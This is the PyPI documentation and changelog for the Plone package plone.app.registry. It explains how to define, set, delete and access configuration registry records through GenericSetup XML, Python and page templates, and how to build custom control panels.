If you just want to use the interface as a template you can supply a prefix attribute:
<records interface="my.package.interfaces.IZooSettings" prefix="my.zoo" />
which will generate fields named my.zoo.entryPrice and my.zoo.messageOfTheDay.
In order to set the values of the fields created by a <records /> directive you must provide value entries with keys corresponding to the fields on the interface, as follows:
<records interface="my.package.interfaces.IZooSettings" prefix="my.zoo"> <value key="entryPrice">40</value> <value key="messageOfTheDay">We've got lions and tigers!</value> </records>
Values can be set as above using the full record name. However, we can also explicitly state that we are setting a record bound to an interface, like so:
<record interface="my.package.interfaces.IZooSettings" field="entryPrice"> <value>10.0</value> </record>
This is equivalent to:
<record name="my.package.interfaces.IZooSettings.entryPrice"> <value>10.0</value> </record>
You can also use the interface/field syntax to register a new record from an individual field.
Finally, if the interface contains fields that cannot or should be set, they may be omitted:
<records interface="my.package.interfaces.IZooSettings"> <omit>someField</omit> </records>
The <omit /> tag can be repeated to exclude multiple fields.
Deleting records based on an interface
To delete a set of records, based on an interface use the remove attribute:
<records interface="my.package.interfaces.IZooSettings" remove="true" />
If the record does not exist for any of the interface fields, a warning will be logged, but processing will continue.
If you do not wish to delete, or wish to exclude certain fields, they may be omitted:
<records interface="my.package.interfaces.IZooSettings" remove="true"> <omit>someField</omit> </records>
The <omit /> tag can be repeated to exclude multiple fields.
Using the registry in Python code
Now that we have seen how to manage records through GenericSetup, we can start using values from the registry in our code.
Accessing the registry
To get or set the value of a record, we must first look up the registry itself. The registry is registered as a local utility, so we can look it up with:
from zope.component import getUtility from plone.registry.interfaces import IRegistry registry = getUtility(IRegistry)
Values can now get read or set using simple dictionary syntax:
timeout = registry['my.package.timeout']
We can also use get() to get the value conditionally, and an in check to test whether the registry contains a particular record.
The returned value will by of a type consistent with the field for the record with the given name. It can be set in the same manner:
registry['my.package.timeout'] = 120
If you need to access the underlying record, use the records attribute:
timeoutRecord = registry.records['my.package.timeout']
The record returned conforms to plone.registry.interfaces.IRecord and has two main attributes: value is the current record value, and field is the persistent field instance. If the record was created from an interface, it will also provide IInterfaceAwareRecord and have three additional attributes: interfaceName, the string name of the interface; interface, the interface instance itself, and fieldName, the name of the field in the interface from which this record was created.
You can delete the whole record programmatically with the Python del statement:
del registry.records['my.package.timeout']
In unit tests, it may be useful to create a new record programmatically. You can do that like so:
from plone.registry.record import Record from plone.registry import field registry.records['my.record'] = Record(field.TextLine(title=u"A record"), u"Test")
The constructor takes a persistent field and the initial value as parameters.
To register records for an interface programmatically, we can do:
registry.registerInterface(IZooSettings)
You can omit fields by passing an omit parameter giving a sequence of omitted field names.
See plone.registry for more details about how to introspect and manipulate the registry records programmatically.
Accessing the registry in page templates
You can also access the registry from page templates. Example TALES expression:
python:context.portal_registry['plone.app.theming.interfaces.IThemeSettings.enabled']
Using the records proxy
Above, we used dictionary syntax to access individual records and values. This will always work, but for so-called interface-aware records - those which were created from an interface e.g. using the <records /> syntax - we have another option: the records proxy. This allows us to look up all the records that belong to a particular interface at the same time, returning an object that provides the given interface and can be manipulated like an object, that is still connected to the underlying registry.
To look up a records proxy for our IZooSettings interface, we can do:
zooSettings = registry.forInterface(IZooSettings)
The zooSettings object now provides IZooSettings. Values may be read and set using attribute notation:
zooSettings.messageOfTheDay = u"New message" currentEntryPrice = zooSettings.entryPrice
When setting a value, it is immediately validated and written to the registry. A validation error exception may be raised if the value is not permitted by the field for the corresponding record.
When fetching the records proxy, plone.registry will by default verify that records exists for each field in the interface, and will raise an error if this is not the case. To disable this check, you can do:
zooSettings = registry.forInterface(IZooSettings, check=False)
This is sometimes useful in cases where it is not certain that the registry has been initialised. You can also omit checking for individual fields, by passing an omit parameter giving a tuple of field names.
Delete records
To delete a record is as simple as:
del registry.records['plone.app.theming.interfaces.IThemeSettings.enabled']
Registry events
The registry emits events when it is modified:
- plone.registry.interfaces.IRecordAddedEvent is fired when a record has been added to the registry.
- plone.registry.interfaces.IRecordRemovedEvent is fired when a record has been removed from the registry.
- plone.registry.interfaces.IRecordModifiedEvent is fired when a record’s value is modified.
You can register subscribers for these to catch any changes to the registry. In addition, you can register an event handler that only listens to changes pertaining to records associated with specific interfaces. For example:
from zope.component import adapter from plone.registry.interfaces import IRecordModifiedEvent from logging import getLogger log = getLogger('my.package') @adapter(IZooSettings, IRecordModifiedEvent) def detectPriceChange(settings, event): if record.fieldName == 'entryPrice': log.warning("Someone change the price from %d to %d" % (event.oldValue, event.newValue,))
See plone.registry for details about these event types.
Editing records through the web
This package provides a control panel found in Plone’s Site Setup under “Configuration registry”. Here, you can view all records with names, titles, descriptions, types and current values, as well as edit individual records.
Creating a custom control panel
The generic control panel is useful as a system administrator’s tool for low- level configuration. If you are writing a package aimed more at system integrators and content managers, you may want to provide a more user-friendly control panel to manage settings.
If you register your records from an interface as shown above, this package provides a convenience framework based on plone.autoform and z3c.form that makes it easy to create your own control panel.
To use it, create a module like this:
from plone.app.registry.browser.controlpanel import RegistryEditForm from plone.app.registry.browser.controlpanel import ControlPanelFormWrapper from my.package.interfaces import IZooSettings from plone.z3cform import layout from z3c.form import form class ZooControlPanelForm(RegistryEditForm): form.extends(RegistryEditForm) schema = IZooSettings ZooControlPanelView = layout.wrap_form(ZooControlPanelForm, ControlPanelFormWrapper) ZooControlPanelView.label = u"Zoo settings"
Register the ZooControlPanelView as a view:
<browser:page
Then install this in the Plone control panel using the controlpanel.xml import step in your GenericSetup profile:
<?xml version="1.0"?> <object name="portal_controlpanel" xmlns: <configlet title="Zoo settings" action_id="my.package.zoosettings" appId="my.package" category="Products" condition_expr="" url_expr="string:${portal_url}/@@zoo-controlpanel" icon_expr="string:${portal_url}/++resource++my.package/icon.png" visible="True" i18n: <permission>Manage portal</permission> </configlet> </object>
The icon_expr attribute should give a URL for the icon. Here, we have assumed that a resource directory called my.package is registered and contains the file icon.png. You may omit the icon as well.
Control panel widget settings
plone.app.registry provides RegistryEditForm class which is a subclass of z3c.form.form.Form.
RegistryEditForm has two methods to override which and how widgets are going to be used in the control panel form.
- updateFields() may set widget factories i.e. widget type to be used
- updateWidgets() may play with widget properties and widget value shown to the user
Example (collective.gtags project controlpanel.py):
class TagSettingsEditForm(controlpanel.RegistryEditForm): schema = ITagSettings label = _(u"Tagging settings") description = _(u"Please enter details of available tags") def updateFields(self): super(TagSettingsEditForm, self).updateFields() self.fields['tags'].widgetFactory = TextLinesFieldWidget self.fields['unique_categories'].widgetFactory = TextLinesFieldWidget self.fields['required_categories'].widgetFactory = TextLinesFieldWidget def updateWidgets(self): super(TagSettingsEditForm, self).updateWidgets() self.widgets['tags'].rows = 8 self.widgets['tags'].style = u'width: 30%;'
Troubleshooting
The following sections describe some commonly encountered problems, with suggestions for how to resolve them.
Required dependency add-ons installed
Both plone.app.z3cform (Plone z3c.form support) and plone.app.registry (Configuration registry) add-ons must be installed at Plone site before you can use any control panel configlets using plone.app.registry framework.
KeyError: a field for which there is no record
Example traceback:
Module plone.app.registry.browser.controlpanel, line 44, in getContent Module plone.registry.registry, line 56, in forInterface KeyError: 'Interface `mfabrik.plonezohointegration.interfaces.ISettings` defines a field `username`, for which there is no record.'
This means that
Your registry.xml does not define default values for your configuration keys
You have changed your configuration schema, but haven’t rerun add-on installer to initialize default values
You might need to use the same prefix as you use for the interface name in your settings:
<records prefix="mfabrik.plonezohointegration.interfaces.ISettings" interface="mfabrik.plonezohointegration.interfaces.ISettings">
Changelog
1.3.11 (2016-03-31)]
1.3.10 (2016-02-27)
Fixes:
- Saving registry value in modal no longer reloads whole page [vangheem]
1.3.9 (2016-02-20)
Fixes:
- Document how to remove a registry record with Python. [gforcada]
1.3.8 (2016-02-08)
New:
- Updated to work with new plone.batching pagination selector as well as with old one. [davilima6]
1.3.7 (2015-11-28)
Fixes:
- Updated Site Setup link in all control panels. Fixes [davilima6]
1.3.6 (2015-10-27)
New:
- Show loading icon in control panel when searching. [vangheem]
Fixes:
- Cleanup: pep8, utf8 headers, readability, etc. [jensens]
- Let our plone.app.registry import step depend on typeinfo. The portal types may be needed for vocabularies. For example, you could get an error when adding a not yet installed type to types_not_searched. Fixes [maurits]
1.3.5 (2015-09-20)
- Fix styling alignment issues with the buttons. [sneridagh]
1.3.4 (2015-09-14)
- registry javascript fix to not auto-expand search field as it was not working well [vangheem]
1.3.3 (2015-09-08)
- Fix modal in control panel [vangheem]
1.3.2 (2015-08-20)
- Added the structure keyword to the TALES expression that returns the description for registry entries. This ensures that descriptions are properly escaped and HTML entities don’t show up in descriptions. [pigeonflight]
1.3.1 (2015-07-18)
- Change the category of the configlet to ‘plone-advanced’. [sneridagh]
- Make configlets titles consistent across the site, first letter capitalized. [sneridagh]
1.3.0 (2015-03-13)
- fix control panel filtering to work with plone 5 and patterns [vangheem]
1.2.3 (2013-05-23)
- Fix control panel filtering () [vangheem, danjacka]
1.2.2 (2013-01-13)
- Acquisition-wrap value dictionary such that widgets get a useful context. [malthe]
- Allow XML comments in registry.xml [gweis]
- allow using purge=false in dict.value_type == list registry imports. [vangheem]
1.2.1 (2012-10-16)
- Unified the control panel html structure. [TH-code]
- Fix jquery selectors [vangheem]
- handle control panel prefixes for fields that do not have interfaces better. [vangheem]
1.2 (2012-08-29)
- Control panel: Records without interface no longer cause “AttributeError: ‘NoneType’ object has no attribute ‘split’”. [kleist]
- Allow deletion of records by interface in GenericSetup. [mitchellrj]
- Deprecated the ‘delete’ attribute of <record /> and <records /> nodes in GenericSetup, in favor of ‘remove’. [mitchellrj]
- Show ‘Changes canceled.’ message after control panel edit form is canceled to comply with plone.app.controlpanel behavior. [timo]
- Redirect to the form itself on control panel edit form submit to comply with plone.app.controlpanel behavior. [timo]
1.2a1 (2012-06-29)
- Use lxml instead of elementtree. [davisagli]
- Remove unused zope.app.component import. [hannosch]
- Better control panel view. [vangheem]
1.1 (2012-04-15)
- Add support for internationalization of strings imported into the registry. [davisagli]
1.0.1 (2011-09-19)
- On the portal_registry configlet, enable the left-menu, to be more consistent with all other configlets. Fixes [WouterVH]
- On the portal_registry configlet, add link to “Site Setup”. Fixes [WouterVH]
1.0 - 2011-05-13
- 1.0 Final release. [esteele]
- Add MANIFEST.in. [WouterVH]
1.0b6 - 2011-04-06
- Add collectionOfInterface export/import support. [elro]
1.0b5 - 2011-02-04
- Declare Products.CMFCore zcml dependency to fix zcml loading under Zope 2.13. [elro]
- Add support for the <field ref=”…” /> syntax to import FieldRefs. Requires plone.registry >= 1.0b4. [optilude]
1.0b4 - 2011-01-18
- Switch controlpanel slot to prefs_configlet_main. [toutpt]
1.0b3 - 2011-01-04
- Depend on Products.CMFPlone instead of Plone. [elro]
- Show status messages and a back link in the control panel view. [timo]
- Use plone domain to translate messages of this package. [vincentfretin]
- Add a prefix support to controlpanel.RegistryEditForm [garbas]
1.0b2 - 2010-04-21
- Ensure fields that are imported from XML only (no interface) have a name. This fixes a problem with edit forms breaking. [optilude]
- Capitalize the control panel link to match the Plone standard. [esteele]
- Overlay now reloads the registry listing on successful submit. [esteele]
- Pass the name of the interface, not the interface itself to the <records /> importer. [esteele]
- Modify JS overlay call to pull in the #content div. [esteele]
- Allow <value> elements inside <records> if they contain a key attribute. This uses the record importer to set the values after creation. [MatthewWilkes]
- Add a prefix attribute to the <records /> importer to take advantage of the interfaces-as-templates pattern from plone.registry [MatthewWilkes]
- Improved the look and feel of the registry records control panel. [optilude]
- Added explanation how to plug-in custom widgets for the registry [miohtama]
1.0b1 - 2009-08-02
- Test with plone.registry 1.0b1 [optilude]
1.0a3 - 2009-07-12
- Catch up with changes in plone.supermodel’s API. [optilude]
1.0a2 - 2009-04-17
- Fixed typo in ZCML registration; tuple has a ‘p’ in it. This fixes exportimport of tuple fields. [MatthewWilkes]
- Add missing handlers.zcml include [MatthewWilkes]
1.0a1 - 2009-04-17
- Initial release
- Downloads (All Versions):
- 0 downloads in the last day
- 63 downloads in the last week
- 3398 downloads in the last month
- Author: Martin Aspeli
- Keywords: plone registry settings configuration
- License: GPL
- Categories
- Package Index Owner: plone, timo, davisagli, esteele, optilude
- DOAP record: plone.app.registry-1.3.11.xml | https://pypi.python.org/pypi/plone.app.registry/ | CC-MAIN-2016-18 | refinedweb | 4,242 | 52.15 |
Anyone can guide me or send me links, or whatever helpful with the following project? Thank you
Materialise in symbolic language (assembly- MIPS) and execute in the SPIM, a program that would process unsigned
integer numbers of 64 bit. Each moment the program maintains stored the two unsigned integer (64 bit) Sum and Last
in the registered pairs ($s0>, $s1)=Sum and ($s2>, $s3)=Last ($s0 and $s2 store the higher 32 bit and $s1 and $s3
the lower 32 bit of Sum and Last respectively).
The Sum keeps the sum of numbers that has been added up to the given moment (initial price of Sum=0) and the Last
keeps the last number of 64 bit that has been given by the user.
The program should contain the following routines - subprograms:
<> read64 - Reading by the console of unsigned entire number and his storage in the pair of register price ($v0,
$v1). The reading by the console should become with string reading which then be changed in number of 64 bit and be
stored in the pair ($v0, $v1). Does all the controls of error (negative number - number that does not fit in 64 bit
- import of character that is not numerical digit).
<> print64 - Printing in the console of content of the 64 bit number that is found in the pair of registers $a0,
$a1.
<> accumulate64 - Addition of 64 bit numbers that find in the pairs ($a0, $a1) and ($a2, $a3) and storage of sum in
the pair ($v0, $v1) - in case of overflow the program print out message of error and are terminated. The user can
ask via one of simple menu of choices (you materialise as you wish) is executed one of following operations what
naturally will use the routines:
import of new unsigned number of 64 bit and storage in the Last .
printing of Last or Sum accumulation (accumulation) .the last valid Last that imported the user in the Sum .
finish the program . | https://www.daniweb.com/programming/software-development/threads/122383/integer-unsigned-numbers | CC-MAIN-2017-26 | refinedweb | 326 | 63.22 |
I'm just a lurker but...
> -----Original Message-----
> From: giacomo [mailto:giacomo@apache.org]
> Sent: Sunday, 29 April 2001 10:17 am
> To: cocoon-dev@xml.apache.org
> Subject: [C2]: Countdown for going beta
>
>
> Now that we know that Avalon is focusing on May 11 for beta we should go
> beta as well some days after (except there are issues which need to be
> solved prior to go beta).
>
> I like the plan how avalon will go productive.
>
> 1. Do a beta 1 release.
Yes, most people want this status ASAP. I know that the company I work for
have been edgy about using C2 because it's "not even of beta quality
yet...". Of course most of the people at work only have M$'s opinion of
what alpha/beta quality represents...
> 2. Clean up docs and latest bugs for about a month.
After the first beta is released most people who will be playing with it
will be (relatively) experienced java folks. This (hopefully) will change
with time to include everyone *GRIN*. Doc's would definitely be required to
stave off the mass of questions to the dev/user lists.
> 3. Do a beta 2 release.
> 4. See if things have stabilized another month.
> 5. Go productive.
What do you mean? Do you mean release? Are you not going to have any
release candidates?
> Is there a need to have a separate CVS repository for C2 to cleaner
> separate C1 from C2 and have the ability to label the releases?
A separate CVS repository would be easiest for newbies (myself included most
of the time) who are not familiar with branches. Another possibility would
be to make C2 the main branch and make C1 a maintence branch?
> Here are the points from the todo-list:
>
> <action context="code" assigned-
> Remove dependencies to the javax.servlet classes.
> There are some classes (ResourceReader, Notifier, ContextURLFactory)
> which use directly the javax.servlet classes. These have to be
> removed. I would suggest to clean up the ResourceReader. As the
> responses of the Readers are now cached by the StreamPipeline, the
> setting of the SC_NOT_MODIFIED status is unnecessary as it is never
> called now. This would remove the dependecy to the javax.servlet
> classes in this case.
> </action>
>
> AFAIK this issues is solved already (could the solver remove it from the
> todo list than?)
>
> <action context="code" assigned-
>.
> </action>
>
> Can someone tell us the status of this?
> Is this an issue that must be solved for Beta 1?
I think that this would be a very useful feature to have. It would save
having to stop/start the container when a xsp page requires a new jar. Of
course the time required to code this should be weighed against how
frequently this would be done...
> <action context="code" assigned-
> Make the evaluation/application of logicsheets in the XSP system
> reliable and usable without hassle to the logicsheet programmer
> </action>
>
> I don't know the status of this. IIRC this issue has to do with Berins
> complains about having to declare every namespace in XSP page which are
> used by the logicsheets and their logicsheets and so on.
>
> <action context="code" assigned-
> Complete (means put everything we know of into even if it has to be
> commented) the cocoon.xconf file and put descriptions into it
> </action>
>
> Still outstanding but not really relevant for beta 1.
I don't know. Most people won't really want to dig into the sources if they
arn't sure something can be done, even if a generator is commented out it's
at least tells people it exists. Once they know something exists _then_
they can go digging for how it works...?
>
> <action context="code" assigned-
> Complete (means put everything we know of into even if it has to be
> commented) the web.xml file and put descriptions into it (similar to
> the httpd.conf file of the web server or the server.xml of Catalina)
> </action>
>
> This is done.
>
> <action context="code" assigned-
> Implement transparent content aggregation at the pipeline level.
> </action>
>
> This is done (might be buggy concerning namespace handling. This is
> true for sitemap level aggregation as well)
>
> Note that if someone has issues7needs for the sitemap semantics and/or
> changes of API of any Cocoon Interfaces please stand up now. I'd like to
> have thoses things stable during the beta phase.
>
> Any other issues?
>
> Any other plan proposals?
>
> Giacomo
>
Hope you found my lurker comments useful, I've been playing with C2 in my
own time since it got started. Personally, I think that it's way better
than .NET/asp and better than jsp. I can't comment about Velocity as I've
not tried it. I am trying to get the company I work for to consider using
it and going beta would certainly help. Keep up the excellent work, and who
knows, if I can maybe I can persuade work to let me help...
John.
---------------------------------------------------------------------
To unsubscribe, e-mail: cocoon-dev-unsubscribe@xml.apache.org
For additional commands, email: cocoon-dev-help@xml.apache.org | http://mail-archives.apache.org/mod_mbox/cocoon-dev/200104.mbox/%3CNLEGIGLCGEEOHJGJBGPOOEFJCBAA.john.r.morrison@ntlworld.com%3E | CC-MAIN-2014-23 | refinedweb | 846 | 66.54 |
Opened 7 years ago
Closed 6 years ago
#6780 closed Patches (fixed)
[BGL] add Maximum Adjacency Search
Description
Currently, the maximum adjacency search (MAS) algorithm is embedded as a phase of the Stoer-Wagner min-cut algorithm. This patch promotes it to be a public search algorithm with a visitor concept similar to BFS or DFS. The existing Stoer-Wagner implementation is modified to use the MAS. The patch also includes HTML documentation of MAS.
Attachments (8)
Change History (23)
Changed 7 years ago by
comment:1 Changed 7 years ago by
comment:2 Changed 7 years ago by
comment:3 Changed 7 years ago by
Do you think it's worthwhile to change Stoer-Wagner to use your new code? I didn't see that in your patch. Also, do you have documentation for the new code?
comment:4 Changed 7 years ago by
I thought I covered both of those.
$ zcat max_adj_search_v3.patch.gz | grep +++
+++ boost/graph/stoer_wagner_min_cut.hpp (working copy)
+++ boost/graph/maximum_adjacency_search.hpp (working copy)
+++ libs/graph/doc/maximum_adjacency_search.html (working copy)
Did I miss something?
Changed 6 years ago by
Updated against 1.51.0
comment:5 Changed 6 years ago by
Updated patch to new release. Patch includes new algorithm as boost/graph/maximum_adjacency_search.hpp, changes to boost/graph/stoer_wagner_min_cut.hpp to use the new algorithm, and documentation of the algorithm as libs/graph/doc/maximum_adjacency_search.html
Since this is the same day as the release announcement for 1.51.0, what else is needed for the merge window for 1.52.0?
comment:6 Changed 6 years ago by
Here are my comments:
- What is the reason for having
mas_visitor_event_not_overriddenrather than just using
voidfor the default return value?
- Where does
unsigned longcome from in the return type of
maximum_adjacency_search? Should there be some type obtained from a traits class used there instead?
- Please have a version of any named-parameter function in the namespace
boost::graphthat uses Boost.Parameter, then have the old-style named parameter version just forward to it (look at
<boost/graph/isomorphism.hpp>for a simple example).
- Please try to avoid using Boost.Typeof (including the
BOOST_AUTOmacro) since some compilers that can otherwise compile Boost.Graph have trouble with it.
- What is the reason for copying the priority queue on entry to
stoer_wagner_min_cutrather than passing in a reference like before?
Other than these issues, I think it's basically ready to put in, and it should make it into 1.52. Thank you for your contribution, and sorry for the delayed responses.
comment:7 Changed 6 years ago by
Thanks for the help. I will work on addressing these.
The mas_visitor_event_not_overridden was a copy/paste from breadth_first_search.hpp. I can change the values to void, but I thought there was a reason for it in the BFS code, so I used that example.
The unsigned long will be converted to the key_type of the priority queue.
isomorphism.hpp has a few new named parameter macros that I was unfamiliar with, but it should clean up the code, so I will try that.
It looks like the BOOST_AUTO macro is only used in the examine_edge() routine in the Stoer-Wagner visitor to get the weight map type. I was unaware that the macro caused some issues, so I will get that fixed.
The conversion to pass-by-value happened when chasing down some "reference of reference" bugs. I forgot to put it back. I just fixed that and the code seems to compile and run fine.
It may take me a bit to get this list implemented, especially getting more familiar with the named parameters macros. I will put up a v5 of the patch as soon as I have something, so we can keep things moving. Thanks again for the feedback.
comment:8 Changed 6 years ago by
I finally managed to get through the distractions of the day job and school to update this. It looks like I missed the new features window for 1.52.0, but if it is ready, we can target 1.53.0. Thoughts?
comment:9 Changed 6 years ago by
Is this patch in good shape for the merge window? What else do I need to tackle?
comment:10 Changed 6 years ago by
Here's my updated version of the patch (most stylistic things). It does not pass the Stoer-Wagner tests in the Boost trunk, however.
comment:11 Changed 6 years ago by
I incorporated your changes and added the include for one_bit_color_map.hpp. Then I made this patch, got a clean copy of the code from SVN and applied the patch to the new code. The normal "boostrap.sh ; b2 ; cd libs/graph/example ; ../../../b2" seemed to work. I ran the resulting code for Stoer-Wagner and it worked. This was using GCC 4.7.1 with the default settings from bjam.
I have thought about changing the graph used in the test case to match the picture in the documentation, but the result should still be correct for the graph tested.
Changed 6 years ago by
Errors from testing with patch applied
comment:12 Changed 6 years ago by
I have attached the errors that I get from testing the latest version of the patch.
comment:13 Changed 6 years ago by
I missed the test directory instead of the example directory. Now that I am able to duplicate the error, it looks like I have a task for the weekend... I will upload the fix as soon as I have it. Thanks for your help.
Changed 6 years ago by
Updated patch
comment:14 Changed 6 years ago by
New patch... Added mas_test.cpp test harness. Added dispatch based on weight_map, if not provided, then edge_weight is required. Return value changed to void, and the tuple previously returned can be retrieved through a visitor, shown in the test harness. Docs updated to reflect the return value change. More fixes in general, all around. This took a few weekends, as opposed to the one I expected.
Let me know if there is anything else needed.
Changed 6 years ago by
Updated documentation
It would be nice to target 1.51, but if it has to slip, that is fine too. Let me know what changes I should make to get it accepted. | https://svn.boost.org/trac10/ticket/6780 | CC-MAIN-2018-51 | refinedweb | 1,054 | 67.15 |
hi all
i want to format columns of my datagridview.for example 20100630 ------>2010/06/30
this code doesnot work for me:
dataGridView1.Columns[2].DefaultCellStyle.Format = "YYYY/MM/dd";
Answer 1
Hello Babak_bsn,
Just change YYYY into yyyy.
dgtest.Columns["DOB"].DefaultCellStyle.Format =
"yyyy/MM/dd";
kindly, let me know if you need further help.
Thanks,
Paras Sanghani
Mark As answer if it helped you.
Answer 2
You could always replace one string with the other...
string mystring=20100630;
mystring.Insert(4,"/");
......
You get the drift
Regards
Answer 3
Thank you friends
here is my code,i changed my code but it doesn't work
SqlCommand cmd = new SqlCommand("SELECT * FROM City", new Setting().Getconn());
SqlDataReader dr = cmd.ExecuteReader();
DataTable dt = new DataTable();
dt.Load(dr);
dataGridView2.DataSource = dt;
dataGridView2.Columns[2].DefaultCellStyle.Format = "yyyy/MM/dd";
Answer 4
Replace the string as I said or tell the database how do you want the date or change the way the database store the date.
PS: I wrote this but it did not show :|
Answer 5
This way as you are trying to do is impossible.
You will have to do it row by row when you are populating DGW (from dataTable - this is the best and simpliest way of holding data in the code):
lets say when you populate the dateTimes in DGW`s column2:++;
DateTime myDate = Convert.ToDateTime(dr[1]);
string dateString = myDate.ToString('d'); //FORMAT OF: dd//MM/yyyy
dataGridView1.Rows[row].Cells[column].Value = dateString;
}
or try this, that it will suit your needs:
string dateString = myDate.ToString("yyyy/MM/dd"); //FORMAT OF: dd//MM/yyyy
... but there might be one problem. Where from you you get this number? Is a dateTime value or is an integer?
Answer 6
Thank you Mitja
that's integer value that save in Table in DB
Answer 7
Thank you Serguey
i change the code as you say but it doesn't work too
DataGridViewCellStyle style=new DataGridViewCellStyle();
style.Format.Insert(4,"/");
dataGridView2.Columns[2].DefaultCellStyle = style;
Answer 8
The problem is that the value 20100630 is not a valid DateTime, I mean the C# program wont recognize it as a valid
date time.
So if you have any other option is ok, but if not, I can suggest you how to salve this problem:
int intDate = 20100630;
int a = 2010;
int b = 6;
int c = 30;
DateTime newDate = new DateTime (a,b,c);
string dateString= newDate.ToString("yyyy/MM/dd");
So
now you have your time of a time :) and you just do:
dataGridView1.Rows[row].Cells[column].Value = dateSting;
btw, one friendly suggestion, please change the type of the "date" in your database. Please use datetime". Would be way easier for you to use it.
thats
all :)
enjoy
Mitja
Answer 9
Ouch, you are storing as an int in the database?
It would be easier to use datetime, then you could just tell the database to store in the
yyyy/MM/dd format and you wouldn't need a conversion.
borrowing from Mitja code
int intDate = 20100630;
string mystring=intDate.ToString();
mystring.Insert(8,"/");
PS: I'm not sure of the insert index, check them before hand
Answer 10
Do you know how to seperate the int 20100630 into 3 peaces (for year, month and day)?
And, if you always have 8 characters for "date"? I mean if you aways write integer with 8 characters, for example if the day is 1st of July 2010 - do you write it as 20100701 or 201071? There is a lot of differences between these two integers. Specially
if you want to seperate them into 3 peaces.
If you know what I mean.
btw, I did get your previous post, and what about myString.Insert() method, whats this got to do here?
Answer 11
Are you asking me or him? Sorry I'm a bit confused.
Answer 12
Ups, sorry, didnt realize you posted that post.
ok, so im asking you, if you are the owner of it. Just curious.
Answer 13
Hi experts thank you for your useful answers
i change type of my field into navarchar(50) (20100630 is now string)
then write this code:
DataGridViewCellStyle style=new DataGridViewCellStyle();
dataGridView2.DataSource = dt;
style.Format.Insert(3, "/");
style.Format.Insert(5, "/");
style.Format.Insert(7, "/");
dataGridView2.Columns[2].DefaultCellStyle.Format = style;
Answer 14
1st of all you should change to DATETIME!
then when you change datime value to string you have to seperate value to 3 pieces (year, month, day). and only then you can change it to you type of string.
Let me try to do the code. wait
Answer 15
Ok, this is it. It works fine for me... this is the FULL CODE you can use:++;
int intDate = Convert.ToInt32(dr[1]);
char[] charABC = Convert.ToString(intABC).ToCharArray();
string year = charABC[0].ToString() + charABC[1].ToString() + charABC[2].ToString() + charABC[3].ToString();
string month = charABC[4].ToString() + charABC[5].ToString();
string day = charABC[6].ToString() + charABC[7].ToString();
string strDate = year + "/" + month + "/" + day;
dataGridView1.Rows[row].Cells[column].Value = strDate;
string dateString = myDate.ToString('d'); //FORMAT OF: dd//MM/yyyy
dataGridView1.Rows[row].Cells[column].Value = dateString;
}
I just hope you insert 8 characters all the time. I mean if the month or the day has one number, you insert for January 01, and not 1. Be careful with that!
Hope I helped you.
Answer 16
One more question, can you mark this thread as Helpful on my name? No one so far hasn`t done this for me :) That green arrow just bellow my name.
thx
If you have any other question, dont hasitate.
Best regards
Answer 17
There is no need to use that roundabout way of converting a string to a char[] to a string
Granted it would be better to simply change the type in the database and tell it how to store the date.
using insert on the string work
using System;
public class SampleClass
{
public staticvoid Main (
)
{
int max=20100615;
string mystring=max.ToString();
mystring=mystring.Insert(4,"/");
mystring=mystring.Insert(7,"/");
System.Console.WriteLine(mystring);
System.Console.Read();
}
}
Answer 18
int max=20100615;
string mystring=max.ToString();
mystring=mystring.Insert(4,"/");
mystring=mystring.Insert(7,"/");
System.Console.WriteLine(mystring);
int max=20100615;
string mystring=max.ToString();
mystring=mystring.Insert(4,"/");
mystring=mystring.Insert(7,"/");
System.Console.WriteLine(mystring);
wow, until now I didnt know for this methos Insert. Great, I`ll remember that.
cheers Serguey123 :)
Answer 19
friends
Why this doesn't work for me:
foreach(DataRow dtr in dt.Rows)
{
int date=Convert.ToInt32( dtr[2]);
string mystring = date.ToString();
mystring.Insert(4, "/");
mystring.Insert(7, "/");
MessageBox.Show(mystring);
}
Answer 20
foreach(DataRow dtr in dt.Rows)
{
string mystring = (dtr[2]).ToString();
mystring =mystring.Insert(4, "/");
mystring =mystring.Insert(7, "/");
MessageBox.Show(mystring);
} | http://go4answers.webhost4life.com/Example/format-data-windows-forms-datagridview-20568.aspx | CC-MAIN-2016-40 | refinedweb | 1,133 | 67.86 |
We can find a pattern and replace it with some text and the replaced text is depending on the matched text.
In Java we can use the following two methods in the Matcher class to accomplish this task.
Matcher appendReplacement(StringBuffer sb, String replacement) StringBuffer appendTail(StringBuffer sb)
Suppose we have the following text.
We have 7 tutorials for Java, 2 tutorials for Javascript and 1 tutorial for Oracle.
We would like to change the number to text in the following rules.
After replacing, the above sentence would be
We have many tutorials for Java, a few tutorials for Javascript and only one tutorial for Oracle.
To find all numbers, we can use
\b\d+\b.
\b marks the word boundaries.
The following code shows how to use Regular Expressions and appendReplacement() and appendTail() Methods
import java.util.regex.Matcher; import java.util.regex.Pattern; /* ww w .ja v a 2 s.c o m*/ public class Main { public static void main(String[] args) { String regex = "\\b\\d+\\b"; StringBuffer sb = new StringBuffer(); String replacementText = ""; String matchedText = ""; String text = "We have 7 tutorials for Java, 2 tutorials for Javascript and 1 tutorial for Oracle."; Text: " + sb.toString()); } }
The code above generates the following result. | http://www.java2s.com/Tutorials/Java/Java_Regular_Expression/0080__Java_String_Find_Replace.htm | CC-MAIN-2017-04 | refinedweb | 204 | 57.77 |
This.
This plugin is still under development. Issues and PRs are welcome!.
You need to open
Personal VPN and
Network Extensions capabilities in Xcode: see Project->Capabilities.
VPN connection errors are handled in swift code, you need to use Xcode to see connection errors if there is any.
Add
getVpnState for iOS.
Add
getVpnState and
getCharonState for Android.
Breaking Change
Old
FlutterVpnState has been renamed to
CharonVpnState. This method is for Android only.
New
FlutterVpnState is designed for both Android and iOS platform.
arm64-v8afor android
We have added the libraries for
arm64-v8a.
Please follow
README to configure abiFilter for NDK.
Breaking Change
Migrate from the deprecated original Android Support Library to AndroidX. This shouldn't result in any functional changes, but it requires any Android apps using this plugin to also migrate if they're using the original support library. Follow Official documents to migrate.
Add iOS support without status broadcast.
Add
onStateChanged to receive state changes from charon.
(Deprecated) Implemented simplest IkeV2-eap VPN service. Automatically download native libs before building.
example/README.md
Demonstrates how to use the flutter_vpn_vpn: ^0.3.1
You can install packages from the command line:
with Flutter:
$ flutter packages get
Alternatively, your editor might support
flutter packages get.
Check the docs for your editor to learn more.
Now in your Dart code, you can use:
import 'package:flutter_vpn/flutter_vpn.dart';
We analyzed this package on Apr 16, 2019, and provided a score, details, and suggestions below. Analysis was completed with status completed using:
Detected platforms: Flutter
References Flutter, and has no conflicting libraries. | https://pub.dartlang.org/packages/flutter_vpn | CC-MAIN-2019-18 | refinedweb | 262 | 52.46 |
